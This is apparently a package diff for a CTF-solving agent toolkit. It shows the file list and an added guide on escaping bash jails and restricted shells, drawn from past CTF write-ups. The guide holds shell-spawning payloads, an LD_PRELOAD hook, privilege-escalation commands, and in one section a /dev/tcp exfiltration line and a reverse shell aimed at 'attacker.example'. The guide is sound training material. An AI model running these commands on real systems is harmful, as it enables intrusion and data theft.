ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,323 @@
1
+ # CTF Misc - Bash Jails & Restricted Shells
2
+
3
+ ## Table of Contents
4
+ - [Identifying the Jail](#identifying-the-jail)
5
+ - [Eval Context Detection](#eval-context-detection)
6
+ - [Character-Restricted Bash: Only #, $, \](#character-restricted-bash-only---)
7
+ - [Internal Service Discovery (Post-Shell)](#internal-service-discovery-post-shell)
8
+ - [Other Restricted Character Set Tricks](#other-restricted-character-set-tricks)
9
+ - [Building numbers from $# and ${##}](#building-numbers-from--and-)
10
+ - [Using PID digits](#using-pid-digits)
11
+ - [Octal in ANSI-C quoting](#octal-in-ansi-c-quoting)
12
+ - [Dollar-zero variants](#dollar-zero-variants)
13
+ - [Privilege Escalation Checklist (Post-Shell)](#privilege-escalation-checklist-post-shell)
14
+ - [HISTFILE Trick for Restricted Shell File Reads (BCTF 2016)](#histfile-trick-for-restricted-shell-file-reads-bctf-2016)
15
+ - [Bash Jail Bypass via $'...' Octal Encoding (34C3 CTF 2017)](#bash-jail-bypass-via--octal-encoding-34c3-ctf-2017)
16
+ - [LD_PRELOAD Hook via rbash-Allowed Variable Set (OTW Advent 2018)](#ld_preload-hook-via-rbash-allowed-variable-set-otw-advent-2018)
17
+ - [/dev/tcp Exfiltration from Minimal Command Set (OTW Advent 2018)](#devtcp-exfiltration-from-minimal-command-set-otw-advent-2018)
18
+ - [Layer-by-Layer Echo-Only Bash Escape (Insomnihack 2019)](#layer-by-layer-echo-only-bash-escape-insomnihack-2019)
19
+ - [Closed-Stdout Jail with \r Truncation (Insomnihack 2019)](#closed-stdout-jail-with-r-truncation-insomnihack-2019)
20
+ - [References](#references)
21
+
22
+ ---
23
+
24
+ ## Identifying the Jail
25
+
26
+ **Methodology:** Send test inputs and observe error messages to determine:
27
+ 1. What characters are allowed (whitelist vs blacklist)
28
+ 2. Whether input is `eval`'d, passed to `bash -c`, or something else
29
+ 3. Whether input is wrapped in quotes (double-quoted eval context)
30
+
31
+ **Test for character filtering:**
32
+ ```python
33
+ from pwn import *
34
+ import time
35
+
36
+ # Send each char combined with a known-good payload
37
+ for c in range(32, 127):
38
+ r = remote(host, port, level='error')
39
+ r.sendline(b'$#' + bytes([c]) + b'$#')
40
+ time.sleep(0.3)
41
+ try:
42
+ data = r.recv(timeout=1)
43
+ if data:
44
+ print(f'{chr(c)!r}: {data.decode().strip()[:60]}')
45
+ except:
46
+ pass
47
+ r.close()
48
+ ```
49
+
50
+ **Silent rejection = character not allowed.** Error output = character passed the filter.
51
+
52
+ **Key insight:** Systematically probe each printable character to map the allowed set before crafting payloads. Silent rejection means the character is filtered; any error output means it passed the filter and reached the shell.
53
+
54
+ ---
55
+
56
+ ## Eval Context Detection
57
+
58
+ **Double-quoted eval** (`eval "$input"`):
59
+ - Trailing `\` causes: `unexpected EOF while looking for matching '"'`
60
+ - `$#` expands to `0` (inside double-quotes, `$` still expands)
61
+ - `\$` gives literal `$` (backslash escapes dollar in double-quotes)
62
+ - `\#` gives `\#` literally (backslash doesn't escape `#` in double-quotes, but eval then interprets `\#` as literal `#`)
63
+
64
+ **Bare eval** (`eval $input`):
65
+ - Word splitting applies
66
+ - Backslash escapes work differently
67
+
68
+ **Read behavior:**
69
+ - `read -r`: backslashes preserved literally
70
+ - `read` (without -r): backslash is escape character (strips backslashes)
71
+
72
+ **Key insight:** Distinguish between `eval "$input"` (double-quoted) and `eval $input` (bare) by sending a trailing backslash. Double-quoted eval produces an "unexpected EOF" error because the backslash escapes the closing quote; bare eval does not. This determines which escape sequences are available for exploitation.
73
+
74
+ ---
75
+
76
+ ## Character-Restricted Bash: Only `#`, `$`, `\`
77
+
78
+ **Pattern (HashCashSlash):** Filter regex `^[\\#\$]+$` allows only hash, dollar, backslash.
79
+
80
+ **Available expansions:**
81
+ | Construct | Result | Notes |
82
+ |-----------|--------|-------|
83
+ | `$#` | `0` | Number of positional parameters |
84
+ | `$$` | PID | Current process ID (multi-digit number) |
85
+ | `\$` | literal `$` | In double-quoted eval context |
86
+ | `\\` | literal `\` | In double-quoted eval context |
87
+ | `\#` | literal `#` | Via eval's second-pass interpretation |
88
+
89
+ **Key payload: `\$$#`**
90
+
91
+ In a double-quoted eval context like `bash -c "\"${x}\""`:
92
+ - `\$` → literal `$` (backslash escapes dollar in double-quotes)
93
+ - `$#` → `0` (parameter expansion)
94
+ - Combined: `$0` in the eval context
95
+ - `$0` = the shell name = `bash`
96
+ - Result: **spawns an interactive bash shell**
97
+
98
+ **Why it works:** The script wraps input in double quotes for `bash -c`, so `\$` becomes a literal `$`, then `$#` expands to `0`, giving the string `$0`. When eval executes this, `$0` expands to the shell invocation name (`bash`), spawning a new shell.
99
+
100
+ ---
101
+
102
+ ## Internal Service Discovery (Post-Shell)
103
+
104
+ After escaping the jail, the flag may not be directly readable. Check for internal services:
105
+
106
+ ```bash
107
+ # Find all running processes and their command lines
108
+ cat /proc/*/cmdline 2>/dev/null | tr '\0' ' '
109
+
110
+ # Look specifically for flag-serving processes
111
+ for pid in /proc/[0-9]*/; do
112
+ cmd=$(cat ${pid}cmdline 2>/dev/null | tr '\0' ' ')
113
+ if echo "$cmd" | grep -qi flag; then
114
+ echo "PID $(basename $pid): $cmd"
115
+ cat ${pid}status 2>/dev/null | grep -E "^(Uid|Name):"
116
+ fi
117
+ done
118
+ ```
119
+
120
+ **Common patterns:**
121
+ - `socat TCP-LISTEN:PORT,bind=127.0.0.1 EXEC:cat /flag` → flag on localhost port
122
+ - `readflag` binary with SUID bit
123
+ - Flag in environment of root process
124
+
125
+ **Connect to internal services:**
126
+ ```bash
127
+ # Bash built-in TCP (no netcat needed)
128
+ cat < /dev/tcp/127.0.0.1/PORT
129
+
130
+ # Or with netcat if available
131
+ nc 127.0.0.1 PORT
132
+ ```
133
+
134
+ **Key insight:** After escaping the jail, check `/proc/*/cmdline` for internal services serving the flag on localhost. The flag is often on a different process, not readable from the filesystem directly.
135
+
136
+ ---
137
+
138
+ ## Other Restricted Character Set Tricks
139
+
140
+ ### Building numbers from `$#` and `${##}`
141
+ If `{` and `}` are allowed:
142
+ - `$#` = 0
143
+ - `${##}` = 1 (length of `$#`'s string value "0")
144
+ - Concatenate to build binary: `${##}$#${##}` = "101"
145
+
146
+ ### Using PID digits
147
+ `$$` gives a multi-digit number. If you can extract individual digits (requires `{}` and `:`):
148
+ ```bash
149
+ ${$$:0:1} # First digit of PID
150
+ ${$$:1:1} # Second digit of PID
151
+ ```
152
+
153
+ ### Octal in ANSI-C quoting
154
+ If `'` is available: `$'\101'` = `A`, `$'\142\141\163\150'` = `bash`
155
+
156
+ ### Dollar-zero variants
157
+ | Shell | `$0` value |
158
+ |-------|-----------|
159
+ | bash script | script path |
160
+ | bash -c | `bash` |
161
+ | interactive | `bash` or `-bash` |
162
+ | sh | `sh` |
163
+
164
+ **Key insight:** Build arbitrary strings from minimal character sets by combining `$#` (yields 0), `${##}` (yields 1), `$$` (PID digits), and ANSI-C quoting (`$'\NNN'` for octal). Even a 3-character alphabet (`#$\`) is sufficient to spawn a shell via `$0` expansion.
165
+
166
+ ---
167
+
168
+ ## Privilege Escalation Checklist (Post-Shell)
169
+
170
+ 1. **SUID binaries:** `find / -perm -4000 2>/dev/null`
171
+ 2. **Capabilities:** `find / -executable -type f -exec getcap {} \; 2>/dev/null`
172
+ 3. **Internal services:** Check `/proc/*/cmdline` for flag-serving daemons
173
+ 4. **Process UIDs:** `cat /proc/*/status 2>/dev/null | grep -A5 "^Name:.*flag"`
174
+ 5. **Writable paths:** Check if PATH contains writable dirs
175
+ 6. **Docker/container:** `/dev/tcp` for internal service access, `/.dockerenv` presence
176
+
177
+ **Key insight:** After escaping the jail, run through this checklist in order: SUID binaries and capabilities first (quickest wins), then internal services via `/proc/*/cmdline`, then writable PATH directories. In containers, use `/dev/tcp` for internal service access since netcat is rarely available.
178
+
179
+ ---
180
+
181
+ ## HISTFILE Trick for Restricted Shell File Reads (BCTF 2016)
182
+
183
+ Read arbitrary files in restricted bash shells without cat/less/head:
184
+
185
+ ```bash
186
+ # Method 1: HISTFILE loading
187
+ HISTFILE=/path/to/flag /bin/bash
188
+ history # Flag contents loaded as command history
189
+
190
+ # Method 2: bash verbose mode
191
+ bash -v flag.txt # Prints each line before executing; comments (#flag{...}) print without error
192
+
193
+ # Method 3: ctypes.sh direct C library calls
194
+ dlcall -n fd open /flag 0
195
+ dlcall -n m mmap 0 100 1 1 $fd 0
196
+ dlcall printf %s $m
197
+ ```
198
+
199
+ **Key insight:** Three ways to read files without standard utilities: (1) HISTFILE loading, (2) `bash -v` verbose mode, (3) `ctypes.sh` direct C library calls via `dlcall`.
200
+
201
+ ---
202
+
203
+ ## Bash Jail Bypass via $'...' Octal Encoding (34C3 CTF 2017)
204
+
205
+ When a-z, `*`, `?`, `.` are banned, use `$'...'` ANSI-C quoting with octal escapes:
206
+
207
+ ```bash
208
+ # Encode /get_flag as octal
209
+ __=$'\057\147\145\164\137\146\154\141\147'
210
+ $__ # executes /get_flag
211
+
212
+ # Or encode any command character by character:
213
+ # /bin/sh = $'\057\142\151\156\057\163\150'
214
+ ```
215
+
216
+ Also: extract characters from existing environment variables:
217
+
218
+ ```bash
219
+ # ${VARIABLE:START:LENGTH} extracts substrings
220
+ # Build command from $PATH, $HOME, $OSTYPE, $HOSTNAME:
221
+ /${OSTYPE:6:1}${HOSTNAME:2:1}${HOME:1:1}_${HOSTNAME:9:1}${PATH:5:1}...
222
+ ```
223
+
224
+ **Key insight:** Bash's `$'...'` syntax interprets `\NNN` as octal byte values, allowing arbitrary string construction without using any alphabetic characters. Combined with environment variable substring extraction (`${VAR:offset:length}`), this bypasses nearly any character blacklist. The `__` variable name uses only underscores (often not blocked). When letters are banned but `$`, `'`, `\`, and digits are allowed, octal encoding in ANSI-C quotes is the primary escape vector.
225
+
226
+ ---
227
+
228
+ ## LD_PRELOAD Hook via rbash-Allowed Variable Set (OTW Advent 2018)
229
+
230
+ **Pattern:** rbash blocks path arguments but still allows `VAR=value command` prefixes on invocations of permitted binaries. Upload a shared object encoding a libc hook, then export `LD_PRELOAD=./hook.so` before any command in the allowlist (`cat`, `ls`, `id`). The hook runs on every libc symbol call from the allowed binary.
231
+
232
+ ```c
233
+ // hook.c — hijacks open()
234
+ #include <stdlib.h>
235
+ __attribute__((constructor))
236
+ void init(void) { system("/bin/bash -p -c 'cat /flag'"); }
237
+ ```
238
+
239
+ ```bash
240
+ gcc -shared -fPIC hook.c -o /tmp/hook.so
241
+ LD_PRELOAD=/tmp/hook.so cat # constructor runs before cat
242
+ ```
243
+
244
+ **Key insight:** Restricted shells enforce argv filtering, not environment filtering. Any allowed binary dynamically linked to libc can be hijacked through `LD_PRELOAD` as long as you can write a `.so` to a writable path. Harden by unsetting `LD_PRELOAD`, `LD_LIBRARY_PATH`, and `LD_AUDIT` on shell entry.
245
+
246
+ **References:** OverTheWire Advent 2018 — Claustrophobic, writeup 12770
247
+
248
+ ---
249
+
250
+ ## /dev/tcp Exfiltration from Minimal Command Set (OTW Advent 2018)
251
+
252
+ **Pattern:** Only `cat`, `echo`, and `dd` are available — no `curl`, `wget`, `nc`, `python`. Bash exposes `/dev/tcp/<host>/<port>` as a virtual socket file; redirecting to it opens a raw TCP connection without any extra binary.
253
+
254
+ ```bash
255
+ cat /opt/flag > /dev/tcp/attacker.example/8081
256
+ # attacker side:
257
+ nc -lvnp 8081
258
+ ```
259
+
260
+ Bidirectional shells:
261
+
262
+ ```bash
263
+ exec 3<> /dev/tcp/attacker.example/8081
264
+ cat <&3 | bash >&3 2>&3
265
+ ```
266
+
267
+ **Key insight:** `/dev/tcp` and `/dev/udp` are *built into bash*, not real filesystem paths — any distribution shipping GNU bash supports them even when `netcat`/`curl` are missing. Always test file redirection before assuming you need an external tool.
268
+
269
+ **References:** OverTheWire Advent 2018 — Santa's little recorders, writeup 12780
270
+
271
+ ---
272
+
273
+ ## Layer-by-Layer Echo-Only Bash Escape (Insomnihack 2019)
274
+
275
+ **Pattern:** Jail allows only `echo`, `(`, `)`, `+`, `=`, `;`, `\`, `$`, and whitespace. Escape by recursively constructing stronger primitives each round:
276
+
277
+ ```bash
278
+ # Round 0: allowed chars → unlimited `=` via $((a = 1))
279
+ # Round 1: arithmetic sets more vars; use $'\NNN' via increment loops
280
+ a=$((++a)) # counters without digits
281
+ # Round N: emit arbitrary payload as octal escapes
282
+ $('\143\141\164' /flag) # cat /flag
283
+ ```
284
+
285
+ Build numbers using `++` on uninitialised variables, then index characters out of `$PATH`, `$PWD`, or any leaked variable. Finally concatenate those characters with `\` to form any command.
286
+
287
+ **Key insight:** Echo-only jails are escapable because bash's arithmetic context treats uninitialised variables as `0` and supports `++`, giving you any integer without digits. From there, `$'\NNN'` builds any byte, which builds any command.
288
+
289
+ **References:** Insomnihack teaser 2019 — echoechoechoecho, writeup 12911
290
+
291
+ ---
292
+
293
+ ## Closed-Stdout Jail with \r Truncation (Insomnihack 2019)
294
+
295
+ **Pattern:** A bash-exec service runs commands but has stdout (and stderr) closed, so normal output silently disappears. Additionally, the target file contains a `\r` early on that naive `cat` renders as "overwrite the line", hiding the flag behind it. Workaround is two-fold: redirect output to a still-open fd (stdin is connected to the network socket, or `/dev/tty`), and use `cat -A` / `od -c` / `xxd` so the carriage return shows as `^M` instead of truncating display.
296
+
297
+ ```bash
298
+ # 1. confirm stdout is closed — output never returns
299
+ echo hello # nothing
300
+ echo hello 2>&1 # still nothing (stderr also closed)
301
+
302
+ # 2. redirect to stdin (fd 0), which is the network socket for nc-style services
303
+ cat flag 1>&0
304
+ # returns only the tail after \r because the terminal interprets \r literally
305
+
306
+ # 3. use cat -A (show-all) so CR becomes ^M and the hidden prefix is revealed
307
+ cat -A flag 1>&0
308
+ # or: od -c flag 1>&0 / xxd flag 1>&0 / base64 flag 1>&0
309
+
310
+ # Alternative: reopen a writable stdout
311
+ exec 1>/dev/tty # only works if a tty is attached
312
+ exec 1>&0 # duplicate the socket fd onto stdout for future cmds
313
+ ```
314
+
315
+ **Key insight:** "Commands work but produce no output" means stdout is closed — find any still-open fd (stdin to the network socket is always open) and redirect with `1>&0`. Once output flows, beware of display artefacts: `\r` truncates in raw `cat`, ANSI CSI sequences can blank lines, and `\x1b[2J` clears the terminal. Always inspect suspect files with `cat -A`, `od -c`, `xxd`, or `base64` so no byte is lost in translation.
316
+
317
+ **References:** Insomnihack 2019 — myBrokenBash, writeups 13989 and 13990
318
+
319
+ ---
320
+
321
+ ## References
322
+
323
+ - 0xL4ugh CTF "HashCashSlash": Filter `^[\\#\$]+$`, payload `\$$#`, internal socat flag service